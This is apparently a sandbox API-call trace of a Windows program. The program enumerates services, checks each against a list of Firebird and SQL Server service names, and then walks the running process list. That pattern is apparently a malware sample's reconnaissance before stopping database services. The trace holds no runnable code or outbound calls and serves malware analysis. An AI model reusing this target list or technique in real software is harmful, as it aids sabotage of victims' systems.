[0107.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0107.552] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0107.552] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0107.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0107.552] lstrlenW (lpString="BITS") returned 4 [0107.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0107.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0107.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0107.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0107.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0107.553] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0107.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0107.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0107.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0107.553] lstrlenW (lpString="CDPSvc") returned 6 [0107.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0107.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0107.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0107.553] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0107.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0107.553] lstrlenW (lpString="ClickToRunSvc") returned 13 [0107.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.553] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0107.553] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0107.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0107.553] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0107.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0107.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0107.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0107.554] lstrlenW (lpString="CryptSvc") returned 8 [0107.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0107.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0107.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0107.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0107.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0107.554] lstrlenW (lpString="DcomLaunch") returned 10 [0107.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0107.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0107.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0107.554] lstrlenW (lpString="DeviceAssociationService") returned 24 [0107.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0107.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0107.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0107.554] lstrlenW (lpString="Dhcp") returned 4 [0107.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0107.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0107.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0107.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0107.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0107.554] lstrlenW (lpString="Dnscache") returned 8 [0107.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0107.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0107.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0107.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0107.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0107.555] lstrlenW (lpString="DoSvc") returned 5 [0107.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0107.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0107.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0107.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0107.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0107.555] lstrlenW (lpString="DPS") returned 3 [0107.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0107.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0107.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0107.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0107.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0107.555] lstrlenW (lpString="DusmSvc") returned 7 [0107.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0107.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0107.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0107.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0107.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0107.555] lstrlenW (lpString="EventLog") returned 8 [0107.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0107.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0107.555] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0107.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0107.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0107.556] lstrlenW (lpString="EventSystem") returned 11 [0107.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0107.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0107.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0107.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0107.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0107.556] lstrlenW (lpString="FontCache") returned 9 [0107.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0107.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0107.556] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0107.556] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0107.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0107.556] lstrlenW (lpString="gpsvc") returned 5 [0107.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0107.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0107.556] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0107.556] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0107.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0107.556] lstrlenW (lpString="iphlpsvc") returned 8 [0107.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.556] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0107.556] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0107.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0107.556] lstrlenW (lpString="KeyIso") returned 6 [0107.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0107.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0107.557] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0107.557] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0107.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0107.557] lstrlenW (lpString="LanmanServer") returned 12 [0107.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0107.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0107.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0107.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0107.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0107.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0107.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0107.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0107.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0107.557] lstrlenW (lpString="lfsvc") returned 5 [0107.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0107.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0107.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0107.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0107.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0107.557] lstrlenW (lpString="lmhosts") returned 7 [0107.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0107.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0107.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0107.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0107.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0107.558] lstrlenW (lpString="LSM") returned 3 [0107.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0107.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0107.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0107.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0107.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0107.558] lstrlenW (lpString="MapsBroker") returned 10 [0107.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0107.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0107.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0107.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0107.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0107.558] lstrlenW (lpString="MpsSvc") returned 6 [0107.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0107.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0107.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0107.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0107.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0107.558] lstrlenW (lpString="NcbService") returned 10 [0107.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0107.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0107.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0107.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0107.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0107.558] lstrlenW (lpString="netprofm") returned 8 [0107.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0107.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0107.559] lstrlenW (lpString="NlaSvc") returned 6 [0107.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0107.559] lstrlenW (lpString="nsi") returned 3 [0107.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0107.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0107.559] lstrlenW (lpString="PcaSvc") returned 6 [0107.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0107.559] lstrlenW (lpString="PlugPlay") returned 8 [0107.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0107.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0107.559] lstrlenW (lpString="Power") returned 5 [0107.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0107.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0107.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0107.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0107.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0107.560] lstrlenW (lpString="ProfSvc") returned 7 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0107.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0107.560] lstrlenW (lpString="RpcEptMapper") returned 12 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0107.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0107.560] lstrlenW (lpString="RpcSs") returned 5 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0107.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0107.560] lstrlenW (lpString="SamSs") returned 5 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0107.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0107.560] lstrlenW (lpString="Schedule") returned 8 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0107.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0107.560] lstrlenW (lpString="SecurityHealthService") returned 21 [0107.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0107.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0107.561] lstrlenW (lpString="SENS") returned 4 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0107.561] lstrlenW (lpString="ShellHWDetection") returned 16 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0107.561] lstrlenW (lpString="Spooler") returned 7 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0107.561] lstrlenW (lpString="sppsvc") returned 6 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0107.561] lstrlenW (lpString="SSDPSRV") returned 7 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0107.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0107.561] lstrlenW (lpString="StateRepository") returned 15 [0107.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0107.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0107.561] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0107.561] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0107.562] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x513428 | out: hHeap=0x4b0000) returned 1 [0107.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c8 [0107.586] Process32FirstW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.587] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.587] lstrlenW (lpString="System") returned 6 [0107.587] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.033] lstrlenW (lpString="smss.exe") returned 8 [0108.033] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.033] lstrlenW (lpString="csrss.exe") returned 9 [0108.034] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.034] lstrlenW (lpString="wininit.exe") returned 11 [0108.035] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.035] lstrlenW (lpString="csrss.exe") returned 9 [0108.035] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.036] lstrlenW (lpString="winlogon.exe") returned 12 [0108.036] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.037] lstrlenW (lpString="services.exe") returned 12 [0108.037] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.037] lstrlenW (lpString="lsass.exe") returned 9 [0108.037] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.038] lstrlenW (lpString="svchost.exe") returned 11 [0108.038] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.039] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.039] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.039] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.040] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.040] lstrlenW (lpString="svchost.exe") returned 11 [0108.040] 